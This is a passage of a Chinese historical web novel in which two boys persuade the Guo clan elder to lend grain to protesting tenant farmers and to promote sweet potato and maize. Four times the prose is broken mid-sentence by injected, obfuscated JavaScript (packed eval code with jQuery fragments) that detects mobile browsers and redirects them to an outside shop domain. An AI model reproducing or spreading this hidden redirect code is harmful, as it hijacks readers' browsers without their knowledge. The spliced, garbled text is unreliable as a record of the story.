“嘿?哪来的小孩?”二牛听到声音,本吓了一跳,结果发现就两个七八岁的少年,不免的也松了口气。 “去去去,叔叔们在讨债,你少来插手,等会儿动起手,可别怪没早提醒。” 郭嘉眯了眯眼睛:“你们为什么要在这里闹事?把田还给你们,这还不好吗?” “嘿……这孩子。”二牛也没好气,但也不想跟对方掰扯,干脆绕过他,手撩了撩袖子,直接朝着大门“砰砰砰!”几下。 扯着嗓子一吼:“郭老爷!开门,我二牛!我知道你们都在家里头!这遣散佃农的事,能不能商量?” “今年秋粮还没收呢,俺们一群人就指望着这点粮过日子了!你把田直接还给我们,到时候交税怎么办?这点粮不够人吃到明年的!” 其余一些佃农,有的也颇为忐忑意动。不是他们想闹事,实在是今年粮食收成就不多,本来田挂在郭氏名下,能少交点税,家里也能多吃口包饭,可谁知道出了这档子事情呢? “小伙子,你们赶紧走吧!等会儿真出事了,就走不了了!”一个看起来老实巴交的农民,脸上蜡黄蜡黄,朝着郭嘉和周盈提醒了一嘴。 周盈闻言,似好奇一般开口:“老伯,你们这闹事,是为了什么?我之前听闻,那曹钦差是个青天好官,咱们山阴县的百姓都传开了,怎么你们反倒是不喜欢他?” “再说,这田给了你们,那不是更好?不用向多余的雇主交纳粮食了。” 那老伯闻言,看着一群闹事的在门前折腾,深深叹了口气,皱起的脸上,斑驳点点:“欸……咱们老百姓也不懂那些大道理,不清楚当官的都在想什么,总归都是交税,谁要的少,就交给谁。能把田抵在郭氏名下,我们就能少交二分一的税,也能让家里人吃饱些。” “现在,这田一还给咱们,到时候那官府衙门的人过来催缴,我们足额交了还不够,又要多出什么…火耗、加耗米、车脚银,这些老汉我实在是听不懂,但帐总会算的。” 两人闻言,心里皆是一惊,郭嘉反倒抢先开口了:“你们非但不愿向朝廷交税,反倒还更希望能把田抵给地方乡绅?” “欸,咱们这哪还有办法,不这样做,来年怕是都饿死了。”老汉说着说着,眼里泪花都出来了,有些浑浊的眼珠子里,也透露出了浓浓的无助和绝望。 一个大字不识的农民,能想到的最好办法,也就如此了。 岂能再因其本就吃不饱,而额外苛刻行为举止呢? 郭嘉张了张嘴,到底是没开口说出什么。 周盈低下头,将这些都记在了眼里,也来不及惊讶这样的事情,或者来说,这样的事情,在各个地方,都稀松平常吧。 “你过来。” 郭嘉还没反应过来,就被人拽着胳膊猛的一扯,扯到了一角。 只见周盈目光深邃,声音带着些许急切:“这样不行,若是直接遣散这批人,对于我们来说,烫手山芋是直接丢了,但他们要怎么活呢?” “为了口饭,便如此低声下气,我见之也实在难受,咱们还是得再想个更稳妥些的法子。” 郭嘉是十分赞同他说的话:“这事,确实也是之前考虑不周了,我竟没想到交税这一层面上去,欸…也是智者千虑必有一失。” “民生之事,无关乎一个税字,千条万策,都以税行之,这事也不是我们现在就能马上更改的。” 周盈叹了口气,闭上眼思忖着,听着郭府门口那些佃农们声音逐渐从一开始的群情激奋,到后来的声嘶力竭,最后已经有一些呜咽。 少几个开始放弃,也不知道该如何了。 闻言,周盈突然睁开眼,似乎是想到了什么,手从袖中伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你干嘛!赶紧回家去!”他上前就要把郭嘉拽走。 但比他的动作更早发生的,却是门开启的声音。那条缝隙很狭窄,却令所有人愕然。 探出头的仆人,见到屋外一群气势汹汹的佃农,哆嗦着哎呦一声,刚想关上门,就看到目光一眨不眨,看着他仿佛在看什么稀奇玩意儿的郭嘉。 “哟、哟!小少爷回来了!”那仆人见状,顿时瞪大眼睛,马上脸上就挂起一个滑稽的笑容来。 “小少爷回来了!还不赶紧开门!快点!” 紧接着,先前一直紧闭的大门,却是在这一声谄媚的笑中,逐渐打开了。 郭嘉眯起,视线冷漠的如利刃一般划在那仆人身上,笑了笑。 “进去,跟老祖宗说,他的后辈子孙回来了,顺道来解决问题。” 42.第 42 章 “哎哟!哎呀小少爷!老祖宗这会儿已经歇下了!不见客啊!”一路小跑,跟着郭嘉和周盈二人进来的老仆,着急忙慌,整张脸上全是汗。 被吓得。 “让开,难道还要我说第二遍?!”见他挡在跟前,郭嘉已经不耐烦,皱起眉,语气都冷了几分。 那老仆见状,咽了咽口水。 周盈面无表情:“咱们专过来解决门口那堆烂摊子,你要挡着?那你来处理?” “这……周小掌柜,这是郭府的家事——” 郭嘉冷笑,直接打断话头,转而如连珠炮一般直接炮轰开口:“什么家事?都闹到官府衙门去了!那曹谨行催着我们快点把田解决了!你们倒好,逼着那些佃农聚在门口闹事!” “是想去一趟衙门!吃板子,知道痛了,才明白人蠢就闭嘴的道理吗!” 他这话说的毒舌又难听,让老仆都愣了一下。也就这档子功夫,两人脚步不停,绕过便直接往前走去。 就在那老仆擦汗,心有余悸之际,郭嘉声音又开口:“滚出去,把那帮佃农安抚住了,要是闹出事来……” 老仆一个激灵,转头看过去,只见这也不过七八岁的少年,气势十足的压迫,侧着身站在台阶上,手提着衣摆。另一位则负手而立,面无表情。 “你等着进衙门吃牢饭吧。”说完这句话,两人直接进了正堂大门。 留老仆一个人汗流浃背,哎哟了一声,这哪是他一个做下人的敢随便开门!小少爷也太为难人了。 他心里嘀咕归嘀咕,脸皱成苦瓜,小跑着挪动自己那小粗短腿,往外头赶去了。 屋里头,本还在后院看戏听曲的郭勋,听到郭嘉回来,郭府门外闹事的事情,一时间心里五味陈杂,既有对那些佃农不识抬举的不满,也有对这个有出息的孙子的一丝畏惧。 不知怎的,郭勋活了这么多年,看了那么多人,唯独是看不透郭嘉。 当日直接在门外,当着曹谨行的面,公然拽着整个郭氏下水,他心都快要跳出来了!那曹谨行可是御史钦差! 矿税旧案的事情,早就过去七八年了,知道的都是心知肚明,能不提就不提,毕竟这是朝廷的事,是皇帝的事。 可郭嘉却直接将这桩陈年旧事直接翻了出来,还要跟钦差叫板翻案。 郭勋只觉头晕目眩,当他是疯了。 但后来事情的发展,远超出他的预料。为了保全郭氏,郭三越和郭尧被逐出门外,他虽心痛如刀割,却也只能这样做啊! 如今翻过来瞧,那曾经欺凌过这对孤儿寡母的人,却全都没有什么好下场。 这着实让郭勋背后有些发冷。 “老祖宗,老祖宗您不想见,咱们就不见便是了,门外的那些闹事的佃农,找个由头打发就是。嘉儿也真是,回来倒也不过来请个安呢。”边上,一个谄媚的年轻人声音响起,眼里闪过的一丝嫉妒和不满,还是让郭勋逮住了。 郭勋冷哼,心里更是悲凉,偌大的郭氏,竟是找不出一个有能耐的后辈,这郭氏……难不成真要亡在他手里了? “走吧,去看看。”手拄着拐杖,颤巍巍起身的郭勋,仿佛苍老了十几岁,这会儿头发花白稀疏,脚下步伐一晃一晃。 几个年轻的见状,你挤我我挤你,跟着上前搀扶:“老祖宗小心!” 就这样,一行人可谓是“仪仗隆重”的走到了前堂。 这会儿,郭嘉都已经等的有些不耐烦了,心里想着,郭氏这帮人,除了笨不说,没本事,脾气倒是挺大。 周盈见他这会儿面无表情,约莫是有点火气了。 “如何说服郭勋,怕还得费一番口舌,奉孝有何妙招?” 被这么一问,站在屋里,百无聊赖的拿着柜上瓷器观摩的郭嘉,皱眉道:“软的不行就来硬的,硬的不行,咱们就找曹谨行。” “总之这事情,说的是叫我们把田产还给这些佃农,但若是佃农们种粮交税了,来年反倒饿死了,那这个罪责谁担?” 周盈闻言颔首:“借御史钦差的名头,倒是可行。” 也就两人说话功夫,那姗姗来迟的郭勋,这会儿才赶到。见他身后跟着三五个人,个个都目露不善的盯着周盈和郭嘉。 两人对视一眼。 “嘉儿,何事如此兴师动众?我这刚歇下,就被外头声音给吵醒了。人老了啊……不中用了。”郭勋脸上带着几分怅然,走到椅子边上坐下, 几个年轻的坐在左右两侧。 一人冷哼:“佃农闹事,打出去就是!把田还给他们还不够?真是一群刁民,不识好歹!” “就是,咱们郭氏这些年,也算是对得起他们,旁的人家,哪有咱们这样的,还能把田还回去?” 真是一张嘴,黑的说成白的。 若不是郭尧做出蠢事,让这兼并的事情被捅到了曹谨行那儿,郭氏会舍得将吃进嘴的肉吐出来吗? 周盈皱眉,心里也不免厌恶了一下这群人,说话嘴皮子一碰,轻松的很,但对别人造成的伤害,却置若罔闻。 就这会儿间,屋里的声音被一根拐杖点地的动静制止。 “老祖宗……”有人不满。 “住嘴!而今,你们吃郭氏的,用郭氏的,我当你们都是郭氏子孙,这才由着你们开口说。” “那田本就是兼并过来的,又不是还是官田!这事儿,我翻阅账目,真是触目惊心!”他说着话,猛咳一声,声音喑哑嘶扯,整个屋内顿时安静。 “郭三越跟郭尧,这些年都干了什么蠢事!你们也是,只想着眼前的好,便不顾后世子孙怎么活了!” “……”一群人低头,心中实则依旧不满,也不觉得有什么错。田买回来都给了钱,再说他们也没有让那些佃农饿死啊! 要不是他们,佃农早就被那十之五六的税,给压死了! “老祖宗……这事情,也不光说我们想买田,就能买的。”一个中年男人,脸上尴尬又为难,低声下气又道:“那些佃农,要是不肯卖,我们怎么买呢?” “是呀,光朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731290|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我们怪罪,这分明是只往我们身上撒气啊!”有个女眷声音带着哭腔,一副委屈的不行的样子。 “哼,兼并土地,谋取本该交给朝廷的税粮,这也是朝你们撒气?!”突然,一道声音响起,猛将这假惺惺的气氛全都搅碎了。 叫一群人戏梗在那,目光间,恼怒、不满、嫉妒、恨……等等,总之无一善意。 郭嘉见此,也不在意,只上前一步,指着门外道:“那些佃农,如今活不下去,这才上门来闹事,你们直接把他们关在门外,到时候事情闹大了,去衙门告状了,把曹谨行再引过来,谁去处理?嗯?” “……” “问你们话!耳朵聋了!?” 如惊雷般上提的声量,将所有人都惊了个哆嗦。几个人看向郭勋,对方面无表情,也不表态。 便有人直接站起身:“郭嘉小儿!这儿是郭氏,可不是你那做酿酒买卖娘的家里!放尊重点说话!” “尊重?我只尊重人。”郭嘉一笑,说出的话差点把人气死。 “你!” “我问你!这千亩的田从何而来?是经谁手?亩价几何?收租几何?又是谁从中获利!谁得了便宜还卖乖?!” “还有!” “你们可别忘了,郭氏现在,已经和我们都是一条船上的蚂蚱!若真要撕破脸,那我这就去官府衙门,去找曹谨行,就说郭氏舍不得这些田,也舍不得买田的粮!更不敢出头,替底下子孙翻案!郭氏都是一群孬种。” 他语气铿锵,说到这便一拂袖,转身就朝着门口走去。 走到周盈边上,眨了下眼。 周盈:…… “回来。”叹了口气,郭勋缓缓开口。 “老祖宗!”有人着急,不可置信喊道。 “住嘴,我既然定了,嘉儿是下一任族长,那这事儿,就听嘉儿处理吧。” “老祖宗!他郭嘉一个外人,再说这才几岁!一个七八岁的孩子,哪里来的本事就能把家里打理好?你也不是不知道,要不是他当日在门口说的那些话,咱们郭氏会——” “住口!”一声爆喝打断那喋喋不休的嘴。 郭勋额头青筋暴起:“你们一个个,说的头头是道,怎么当时就只当个缩头乌龟?啊!?要不是我还在,这郭氏,早就被你们全祸害完了!” “那佃农,是郭氏放出去的,来年饿死了,找谁?!找你?”手杖朝着一指,那人顿时缩了缩脖子。 见无人再开口,郭勋深吸了口气,转头看向二人:“嘉儿,这事情,你和你兄长,可有什么想法?” 郭嘉闻言,心知郭勋这话说得好听,实际上是两害相权取其轻罢了。若不将郭三越和郭尧逐出郭氏,那问罪起来就是抄家。 逐出去,压他和周盈二人能翻案。 将来仕途功名一路辉煌,未尝不能带着郭氏一飞冲天。 不过这事儿,他也不在乎,能拿到想要的就够了。 “老祖宗,这事儿,我和兄长商量了,还是让他来说。” 43.第 43 章 这话一出口,大家的目光就都转移到了一直站在边上,默不作声的周盈。 “老祖宗,这件事情想要解决很简单。”周盈上前,行了一礼。 “其一,田产的事情,须得办妥,能在衙门那里交差。” “其二,佃农们不肯,是因为既要将原本卖田所得的银钱吐出,又得重新缴纳十之五六的税,实在是负担太重,极容易破产。” “其三,佃农们只是想吃饱饭,这件事情如果只盯着田地里长的那些粮食,显然是很难办到。” 说到这,周盈心里都叹了口气,光是想吃饱饭,都这么难,也实在让人见之于心不忍了。 郭勋闻言皱起来:“那你的法子是什么?” “我是说,既粮食种下去吃不饱,那便让他们换个思路。” “譬如……”周盈说着,拿出袖子里的番薯,这玩意儿还缺了个角,是先前陈夫子退回来的,对方没有马上答应,而是表示还需考虑。 如今倒也正好,能拿出来当个道具。 “此为番薯,海贸流入的良种,亩产数百,可饱腹充饥。另外,还有玉米,也是很好的粮食谷物。我们可以叫他们种一些,作物卖给我们,拿来酿酒,晒番薯干等,都是可行的。到时候咱们可以找一些关系渠道,把这产业打通了,卖到其他地方。” “这样一来,这些佃农有了这个生计,总归是比种田缴十之五六的田赋轻松。而且我们还能顺道得了美名声,更甚的……” 他说到这,手上番薯递给一旁仆人。对方愣了愣,接过手,看了一眼郭勋。 郭勋点了点头,那仆人这才掰下一块塞进嘴里,咀嚼间,眼睛一亮:“老祖宗!这还有甜味呢!” 周盈听到这话,笑了笑:“尝过,觉得味道如何?” “不错,有饱腹之感!” 见他这般说,周盈垂眸莞尔间,朝着郭勋行了一礼: “这就是我要说的。粮食一直都是最大的本钱,咱们可以借着这件事,让佃农种番薯玉米,我们则将这些东西分销到各个地方,譬如南直隶等。” “到时候,这番薯玉米,进了那些贵人眼里,或者直接上达天听了,咱们这第一个吃螃蟹的,老祖宗您觉得会如何呢?” 周盈话没有说全,但已经是足够了的,不笨的人都能听出其中含义。 郭勋深思,心想着什么。如今清退田产是板上钉钉的事情,佃农闹事也是棘手的事情,两者之间,看似无解。但被这么一分析,好像还真有点文章。 他思忖这些天发生的事情,知道如今周盈和郭嘉二人都是出了名的,也明白两人身后有着张杨二人,这便是有官宦世家与淮扬盐商的人脉在。 可这最要紧的,反还是那曹谨行的态度了。 也就在此时,郭嘉突然开口:“曹御史那里,已经知道了番薯和玉米的事情。我们今日在私塾,还见过他。” “哦?”郭勋闻言,少见的瞪大眼睛。 “嘉儿,你的意思是……” “老祖宗,如今,曹御史或许还要借我们的手,才能把这巡盐的事情办妥下去。再说了,这推行新良种的大功劳,难道他不想沾点光?” 此话还真不假,为官者,最重要的便是能拿出耀眼功绩。 说服人,就得往让对方觉得有利的方向说,得让人觉得,我这么做,能有好处。 这样,事情就能顺利。 周盈这一招,是明摆让所有人都能在其中捞着好处。 于佃农,解决了生计问题,能吃饱饭,能缴上税。 于郭氏,可解决田产问题,安抚佃农,更能借此机会壮大己身,还能有个好名声。 于地方官,这是天大的好政绩,若能把这个番薯和玉米种出名堂,真卖到外面去,升官是板上钉钉的事情。 于朝廷,既能让佃农们吃饱饭,还能缴足额的田税,直接就解决了最根本的国库亏空之危。 唯一的难处,也是最难的难处,便是如何才能把这件事情办成。 郭嘉明白这个理,也明白其中的难,但长远来看,如果山阴县能办成这件事,那么就必然引起朝廷的注意,到时候两个入朝为官后,想做更多事情,那就会方便许多。 且,曹谨行立足朝中,对于两人推行番薯和玉米,都是有大用处的。 郭勋也不傻,也明白这个理。但正因此,他心里如惊涛骇浪,看着两个年轻人,一时间竟是什么都说不出来! 这、这…… “老祖宗,您说一句,这事儿办不成,要是办,现在我们就可以把外面那群佃农喊进来,先借粮给他们渡过今年难关,再叫他们拿了良种去试一试。” “能成最好,不能成,今年这粮借了,也算是郭氏仁至义尽,咱们也不用再担逼死佃农的恶名了!左右不过是费点粮,郭氏出得起。” 郭嘉又开始上压力了,分析的头头是道,就差掰着手指头给人算账。一旁的周盈看他嘴上说的天花乱坠,实则两人的计划八字还没一撇。 曹谨行那儿没打点,张杨二位师兄如今也不知情,更别提什么地方政府推行了。 不过问题不大,办实事,总要起个头,什么时候起都是可以的,但千万不能是什么资源都没有。 起了头,就能去整合现在有的资源,看到底能办成什么样,努力一些,能不能办的比预期还高。 这才是真正做实事的人会去想的事情。 周盈开口道:“我说一句,曹谨行那里,我可以去谈,至于佃农,这是郭氏需要解决的,到时候谈妥了,再找张杨商量,也就稳妥一些。” “老祖宗放心,这事儿我们心里有数的。” 这两人把什么话都说了,连带着不成功的最大风险,也不过就费点粮。 郭勋真的是心动了,太心动了。 边上几个年轻人这会儿:阿巴巴巴……不是讨论怎么清田怎么打发佃农吗? 郭勋抿了抿唇:“去,把门外那些佃农喊进来。” “是。”应声的仆人顿时小跑了出去。 “这……老祖宗,会不会太仓促了些?”有人嘀咕。 紧接着也有声音道:“是啊,这都只是嘴上说说,真做起来……还不知道怎么呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733557|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 郭嘉听了,转过头去,就看到一个年轻的郭氏子弟,脸色不善,眼里颇为不满。 他直接一伸手,指着道:“哦,那你来,你有什么法子解决现在这件事?!来!” “我…”被这么一哽,那人话也说不出来了,气的是脸红脖子粗,显然心里不甘。 “现在,郭三越和郭尧还在郭府边上乞讨度日,你们肯定也都看见了。这就是不顾郭氏大家,只顾自己小家之人的下场!” “要是这次事情办不成,咱们如今踏上了翻案的船,难道还能跳下水,自己淹死不成?!” 郭嘉冷哼一声:“不服的人有很多,但能出面反驳我的,一个没有。今天过后,谁胆敢在背地里耍阴招使绊子……” 他转头看了一圈屋里的人:“我不介意,让他成为下一个郭尧。” “……” 忽有一阵风,吹得众人一个哆嗦,一时间,屋内安静如鸡。 紧接着,一阵脚步传来。 为首的正是二牛。 见着两人身影站在屋里,似颇有分量,二牛也是一惊,紧接着心里便开始担忧,莫不是刚在门口冲撞了两位小贵人? 眼见二牛猛的弯下腰,连带着最开始那股子不服的劲儿,都在郭氏大堂里,如被无形之物压下去般。 声音开口,带着几分讨好:“见过郭老爷,咱们这些人也是没办法,这才来门口讨说法,要是真把田还回来,咱们现在也拿不出那么多钱。” “郭老爷…您是菩萨,小的们就讨口饭吃,别的也没什么要求了。” 他说着话的功夫,边上几个年轻人都拿着鼻孔看人般,只高高仰起头。 一人大喝:“严二牛!郭氏这些年,难道对你还不够好?别的老爷要收你们十之三四的税!我们只拿你二三,你倒好!如今清退田产的事情,是官府衙门说的,咱们郭氏把田还给你,你也自由了,有什么不好!” “是啊!这些刁民,当真是好日子过久了,忘恩负义!” 二牛被这样一说,猛的抬起头,微红的眼眶中,早已是泪光点点,黝黑粗糙的面容上,还有着被晒伤的焦灼痕迹。 带着几分瑟缩的视线看了一圈,便紧跟着低头:“郭老爷,小的们实在是没办法了,也求您等开恩吧!” 说着的声音带着些许颤抖,随之,在众人目光中,那膝猛点地,朝着上方郭勋,二牛便猛磕了个响头。 一个。 两个、 三个…… 很多,很多。 屋内很安静,只有磕头声音响起。 似沉闷的钟声。 叫人心里一阵子闷得疼。 “够了!” 一声喝响,叫那一直磕着头的影子一顿。 二牛稍微抬起头,那黝黑的额头上,这会儿青红一片,渗了些血。 他瞧见一道白衣影子走上来。 扶起了他。 是先前在府门外,见过的其中一个小贵人。 周盈实不忍心看人为了一口饱饭,如此的卑微祈求,这事情实在是太悲哀了。 44.第 44 章 收租者,满嘴流油。种田者,却食不果腹。 何其荒唐? “你起来吧,此事我心中有数,今日来就是为了解决这件事情。” 二牛有些忐忑,看了看周围一群人,有人冷哼,有人侧过头,有的人脸色阴沉,却都未开口斥责。 他擦了擦手,却也不敢抓周盈的手,只觉得那雪白的手掌,怕弄脏了。 “谢谢、谢谢小贵人,老天真是开恩了,赐了这么个菩萨下来。”阿谀奉承的话带着些讨好,显然是熟练极了,也朴实无华极了。 郭嘉走过来,脸上神色也有些复杂。 张嘴开口道:“我是郭氏下一任的族长,他是我的兄长。你、以及外头那群佃农有什么为难的事情,都可以跟我说。” 一听这话,二牛顿时瞪大眼睛,郭府发生的事情他们也是知道一些的,毕竟整个山阴县都传开了。 但不曾想,没了郭三越和郭尧,接手的反倒是这么个七八岁的少年。 他朝着上头郭勋看过去,对方板着一张苍老不少的脸,也没什么表态。 二牛咽了咽口水,一时间眼前不知怎的,反而是逐渐模糊了。 随后膝盖一软,又要跪下。 “不要跪,起来说话。这些虚礼对我都没什么用。” 二牛动作一顿,低下头擦了擦眼睛,有些局促:“眼里进沙子了,小少爷莫怪。” 郭嘉也就当没看见,垂眸间,只开口道:“我知道你们难在哪里,这田是必须清的。” 那擦眼睛的手一顿,二牛脸色顿时一白。 但话锋一转。 “不过,既然种田叫你们吃不饱饭,交不起税,我让你们帮我种些别的,拿来卖给我,如何?” 听到这话,二牛顿了顿,脸上有些为难:“这……” “怎么?不愿?”这是郭嘉都一时间没想到的。 二牛低下头,不知道在思考什么,想了想,手抬起来,掰着道:“也不是咱们这些庄稼人不愿意。但田就那么些,若是种了别的,我们就没饭吃,催缴田赋的时候,还要把粮卖了换成银子,衙门才会收,这一来一回……” “要是咱们自己不种地,就得自己买粮吃,还得交银子,这笔账,小的虽是个粗人,却也算得明白。” 他说的有些为难,既不想得罪这些贵人,但又实实在在不太想答应。 “砰!”突兀的一声响,直接打断了二牛的话。 那站起身的年轻人,却正是先前不满郭嘉的,他只冷哼一声,指着二牛道:“这不行那不行,你这刁民,好难伺候!这已经是天大的恩情了!不但不让你们退买田的钱,反还带着你们干点别的讨生活!别不知足!” “真是胡搅蛮缠,老祖宗,这些佃农摆明着,专跟我们对着干!这事儿还用谈吗?”又有人开口。 一下子,屋里头三三两两说着,连带着火气都上来了。 周盈皱起眉,倒也没理会这群乌合之众,一听二牛这话,立刻脑子转过弯来。 这也并非是这些佃农胡搅蛮缠,实为生计,不得不精打细算而已。 想要理清楚二牛的想法,就得扯到一条鞭法的政策了。 便是将许许多多的混乱税目,比方说什么丝绸、棉布、地方性的一些农产品之类的,其税征收的,都是实物。 但实物存在仓库,第一是占地方,第二是拿出去置换还得费功夫,且保管也是个问题。 因而,统一的,全部归纳,按比例折合银两,这样一来也就方便了朝廷收税,也少了胥吏的来回倒腾剥削。 但有个问题。 江南地区,除以银征税之外,还有粮食起运政策,税收上来,一部分是征银,一部分是征本色,也就是原本的实物。 起运至较远的官仓,储存为战略储备,以备征战、灾荒之时用。 这就导致,像二牛这样的农民,不得不在家里多囤些粮,若粮价跌了,也能有一些余粮去换足够的银子。 周盈想到这里,深吸一口气,皱紧眉,朝着郭嘉看了一眼,对方这会儿大约也是明白了其中蹊跷,脸色也不算好看。 “吵什么?你们若是有什么好法子,倒是在众人面前提出来!先前怎么没那么多话?这会儿倒是嘴里头头是道了?一群虫豸之辈!” “牙尖嘴利,粉墨弄戏,当真可笑!” 郭嘉实在是被吵得头疼,心里越发厌恶这群蠢人,用现代的话来说……他有厌蠢症。 不知大局之重,也不知狡兔死走狗烹的道理,只知道在屋里跟自己人较劲,这样的孬种,也只是因为投了个好胎,就能在这里趾高气扬,一派神气。 确实可悲,是这个世道荒诞可悲。 “那你说说,现在要怎么办?这不明摆着,这帮佃农不肯改种你说的那什么…番薯、玉米!”有人幸灾乐祸,语气带着几分看好戏的架势。 郭嘉也没理会,看了一眼周盈:“郭氏可以出粮借给这些人,但不可以是现在。曹谨行到底只是暂歇在山阴县,过个一两月,等他走了,新任县令是谁,又是如何的立场,我们都还未知。” 他想得比较多,一来,地方官三年一换,王宗昌出事,朝廷必然会新派一个过来。 二来,光靠郭氏的名声是不足以说动这些佃农的,需得联合当地的衙门官员才行。 这叫上头有人,凡事好办。 周盈点了点头:“那就借巡盐的事情,再来上一招。” “什么招?” “曹谨行要钱,要政绩,我们可以帮他。张杨以及其背后的人,要保命要安稳,我们也可以帮他们。这二者看似冲突,实则大有可为。”周盈说着,比划了个二。 两个人就这么在大堂,在不少人疑惑不解的目光下,公然地交流商量起策略来。 坐在上方的郭勋听了,不免心惊胆战起来,忙咳嗽一声。 但两人没理会。 “这样,我们便直接将番薯和玉米的推广实验,提上日程。借着这件事情做文章,一来,曹谨行若借此事能捞到大功绩,势必依仗我等,但这是长远的东西,不能急。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735943|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“二来,张杨那头的人如今为求自保,势必也愿意出点血,断臂求生总比抄家丢性命好,什么都不肯出,到时候就是皇上震怒,这些人全都得下大牢。” 郭嘉听了这番策略,摸着下巴:“你是想……借曹谨行的威慑,敲打这批人,让他们乖乖听话的,把番薯和玉米承售出去?” “差不多,到时候,利润怎么分,还可以当成筹码,捏在我们手里。”周盈说完,心里倒也有了个大约的打算。 “这倒是不错,我看有个三四成胜算,干了试试看!”郭嘉眼睛一亮,一拍手之间,便敲定了最终方案。 郭勋一听,差点没吓晕过去,什、什么? 三四成胜算?! “咳咳、咳……!” 猛咳嗽间,惊醒二人。 周盈、郭嘉:糟糕,一撩起计谋就发狠了忘情了,竟忘了这么多人在。 实在是情势紧急,也顾不得那么多了。 两人对视一眼,周盈心知郭勋担忧什么,上前行礼道:“老祖宗放心,这事儿郭氏只需要出粮就是,其余的事情我和嘉弟去做就行,不会让郭氏担风险的。” “对、对对!我一个人干,风险扯不到郭氏。”郭嘉点头,眼里十分真诚。 郭勋见状,深皱起眉,思忖了片刻,许是分析了厉害,也只叹了口气。如今似乎也没有比这个法子更好的了。 “那就这样吧,粮郭氏出,这件事情,这么定了。”说完,起身。 一场闹剧,算得上是在几方的接受范围之内,落下了帷幕。 本来郭勋是还想留两人吃饭的,毕竟这闹了一顿,如今夜色已深。 周盈和郭嘉不太喜欢郭府的氛围,也就没留。一上马车,两个人竟是无言以对。 随着车辆缓缓前行,车内的安静,被一阵咕噜的声音打破。 “……” “……” 憋着笑,周盈瞄了他一眼。 郭嘉那尴尬的,手捂着肚子:“怎么?难道你不饿啊?欸……这事儿真是闹得,没个清静。” 话茬子打开,周盈脸上挂了些笑意:“事情暂时是稳下来了,但咱们还得想办法,怎么把这些人说服了才行。” “等明天,先去私塾和张师兄杨师兄谈一谈,这两人我倒是不担心,总归是地主家的傻儿子,心眼子不多。” “但他们身后的那些人,鱼龙混杂,前些日子,你不还跟着见过?” 提到这事情,郭嘉啧了一声,想起那日,张岱带着他去酒楼吃饭的事情。 也就吃了个饭,聊了没几句,郭嘉就有点不耐烦,总归是一些乌合之众,多数都没什么魄力和担当,推着两个还在私塾上学的学生出来顶事。 这不是开玩笑吗? “笨人,好解决。难弄的,是怎么让曹谨行彻底信服我们,这才是关键。咱们做事,总得让朝廷背书,这样才有信服力。” “我倒是有个想法。”说到这,郭奉孝眼里精光一闪,朝着周盈勾勾手指头。 见此,周盈也颇有些好奇。 45.第 45 章 “找个时间,叫曹御史来巡察咱们种的番薯田和玉米田,所谓耳闻不如一见,见着真有亩产数百的良种,想必谈这件事情也好说一些。” 周盈想了想,这事儿倒是可以,不过担忧的地方也有些多:“但这件事,若是只见曹谨行,怕落了人口舌。” “所以……” “所以,得让地方的官员也参与进来,这事儿,曹谨行身为御史钦差,要是亲自过问巡视,总归是敏感了那么点,这毕竟不是他的职责,但地方官不一样,往大了说,这可是给人送政绩呢。” 嘿…好像还真就这么回事! “好了好了,今儿都这么晚了,就别想这些了,你看你,一想这些事儿,就总皱起眉,等会到了家,周娘要是见着了,可得担心死了。”说着话的郭嘉掀起帘子,见不远处周府的门邸越来越近。 “快到了。” 周盈闻言,不禁一笑,心里叹了口气,还真是多事之秋,不过想来想去,也不能把事情马上办妥,还是先等到明天再说吧。 这样想着,两人进了府邸。 因先前事出突然,周盈便派了马夫回家给两位母亲报个信,以免对方记挂着,在家里担忧呢。 这会儿一听到动静,郭怡就走了出来。 见二人提着衣摆走进门,这才是将悬着的心放了下来,马上便朝着屋里喊:“回来了!人回来了。” “怎么样?郭府的事情解决了?” “嗯,没什么大事,娘你不用担心。”郭嘉手上的书被郭怡拿走,他想了想,还是没打算把事情全部都说给对方。 这事情,干系重大,再加上郭怡不太懂这些,知道了心里难免忧虑,倒不如两人直接把事情办妥了再说。 俗话说得好,出息的孩子,总是报喜不报忧,对家长的担心和付出,也都是看得见的。 周盈和郭嘉,便是两位母亲眼里,十分有出息的孩子,也俗称为:别人家的小孩。 